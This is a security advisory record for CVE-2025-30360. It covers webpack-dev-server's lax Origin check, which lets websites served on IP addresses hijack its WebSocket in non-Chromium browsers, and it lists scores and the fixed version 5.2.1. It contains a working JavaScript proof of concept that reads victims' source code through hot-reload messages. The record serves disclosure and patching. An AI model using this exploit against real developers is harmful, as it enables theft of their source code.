{"id":"CVE-2025-30360","aliases":["GHSA-9jgg-88mc-972h"],"url":"https://o3.security/vulnerability/CVE-2025-30360","summary":"webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser","details":"### Summary\nSource code may be stolen when you access a malicious web site with non-Chromium based browser.\n\n### Details\nThe `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.\nBut webpack-dev-server always allows IP address `Origin` headers.\nhttps://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127\nThis allows websites that are served on IP addresses to connect WebSocket.\nBy using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code.\n\nrelated commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.\n\nThis vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `http://{ipaddress}/?target=http://localhost:8080&file=main` with a non-Chromium browser (I used Firefox 134.0.1)\n5. Edit `src/index.js` in the extracted directory\n6. You can see the content of `src/index.js`\n\n![image](https://github.com/user-attachments/assets/7ce3cad7-1a4d-4778-baae-1adae5e93ba4)\n\nThe script in the POC site is:\n```js\nwindow.webpackHotUpdate = (...args) => {\n    console.log(...args);\n    for (i in args[1]) {\n        document.body.innerText = args[1][i].toString() + document.body.innerText\n\t    console.log(args[1][i])\n    }\n}\n\nlet params = new URLSearchParams(window.location.search);\nlet target = new URL(params.get('target') || 'http://127.0.0.1:8080');\nlet file = params.get('file')\nlet wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';\nlet wsPort = target.port;\nvar currentHash = '';\nvar currentHash2 = '';\nlet wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;\nws = new WebSocket(wsTarget);\nws.onmessage = event => {\n    console.log(event.data);\n    if (event.data.match('\"type\":\"ok\"')) {\n        s = document.createElement('script');\n        s.src = `${target}${file}.${currentHash2}.hot-update.js`;\n        document.body.appendChild(s)\n    }\n    r = event.data.match(/\"([0-9a-f]{20})\"/);\n    if (r !== null) {\n        currentHash2 = currentHash;\n        currentHash = r[1];\n        console.log(currentHash, currentHash2);\n    }\n}\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.","published":"2025-06-03T17:41:59.457Z","modified":"2026-08-12T03:51:20.924586326Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"},"epss":{"score":0.00331,"percentile":0.25776,"asOf":"2026-09-08"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"webpack-dev-server","fixedVersion":"5.2.1"}],"fix":{"url":"https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e","label":"webpack/webpack-dev-server@5c9378b"},"references":[{"type":"WEB","url":"https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30360.json"},{"type":"ADVISORY","url":"https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30360"},{"type":"FIX","url":"https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e"},{"type":"FIX","url":"https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb"},{"type":"WEB","url":"https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239"},{"type":"PACKAGE","url":"https://github.com/webpack/webpack-dev-server"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:20.924586326Z"}}